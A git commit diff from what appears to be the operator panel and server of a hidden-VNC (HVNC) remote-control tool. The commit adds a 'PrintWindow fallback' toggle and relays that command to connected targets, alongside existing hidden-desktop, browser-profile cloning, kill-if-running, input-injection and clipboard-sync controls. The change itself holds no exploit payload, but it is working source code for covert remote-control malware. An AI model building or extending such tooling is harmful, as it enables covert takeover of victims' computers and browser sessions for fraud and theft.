add DWM for HVNC with PrintWindow fallback

This commit is contained in:
KingKDot
2026-07-30 19:41:45 -05:00
parent d829864527
commit dfef3e012f
15 changed files with 763 additions and 7 deletions
@@ -117,6 +117,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const uiaCtrl = document.getElementById("uiaCtrl");
const printWindowFallbackCtrl = document.getElementById("printWindowFallbackCtrl");
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
const targetFpsSelect = document.getElementById("targetFpsSelect");
let whepClient = null;
@@ -132,6 +133,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
if (printWindowFallbackCtrl) {
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
}
pushbackstageResolution();
}
let activeClientId = clientId;
@@ -186,6 +190,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
if (printWindowFallbackCtrl && typeof settings.printWindowFallback === "boolean") {
printWindowFallbackCtrl.checked = settings.printWindowFallback;
}
prefersH264 = false;
const cloneToggle = document.getElementById("backstageCloneToggle");
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
@@ -211,6 +218,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
keyboard: !!kbdCtrl?.checked,
clipboardSync: !!clipboardSyncCtrl?.checked,
uia: !!uiaCtrl?.checked,
printWindowFallback: printWindowFallbackCtrl?.checked !== false,
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
@@ -1281,6 +1289,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
sharedSettingsSaver.scheduleSave();
});
}
if (printWindowFallbackCtrl) {
printWindowFallbackCtrl.addEventListener("change", function () {
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
sharedSettingsSaver.scheduleSave();
});
}
function pushbackstageResolution() {
if (backstageResolutionSelect) {
+3
View File
@@ -191,6 +191,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
<input type="checkbox" id="uiaCtrl" /> UIA Support
</label>
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Allow the compatibility compositor to call PrintWindow on target applications when DWM staging and DXGI cannot provide a frame. DWM staging itself remains enabled.">
<input type="checkbox" id="printWindowFallbackCtrl" checked /> PrintWindow Fallback
</label>
</div>
</div>
@@ -140,6 +140,7 @@ export const COMMAND_TYPES = [
"backstage_enable_dxgi",
"backstage_enable_keyboard",
"backstage_enable_mouse",
"backstage_enable_printwindow_fallback",
"backstage_enable_uia",
"backstage_installed_apps",
"backstage_key_down",
@@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = {
"min": 1,
"max": 1
},
"backstage_enable_printwindow_fallback": {
"min": 1,
"max": 1
},
"backstage_enable_uia": {
"min": 1,
"max": 1
@@ -17,7 +17,7 @@ import {
describe("generated wire protocol contract", () => {
test("publishes the complete command catalog", () => {
expect(WIRE_PROTOCOL_VERSION).toBe(1);
expect(COMMAND_TYPES.length).toBe(141);
expect(COMMAND_TYPES.length).toBe(142);
expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
expect(isCommandType("desktop_start")).toBe(true);
expect(isCommandType("virtual_window_list")).toBe(true);
@@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
assignIfDefined(out, "uia", pickBoolean(input.uia));
assignIfDefined(out, "printWindowFallback", pickBoolean(input.printWindowFallback));
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
@@ -1363,6 +1363,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
case "backstage_enable_dxgi":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
break;
case "backstage_enable_printwindow_fallback":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled });
break;
case "backstage_enable_uia":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
break;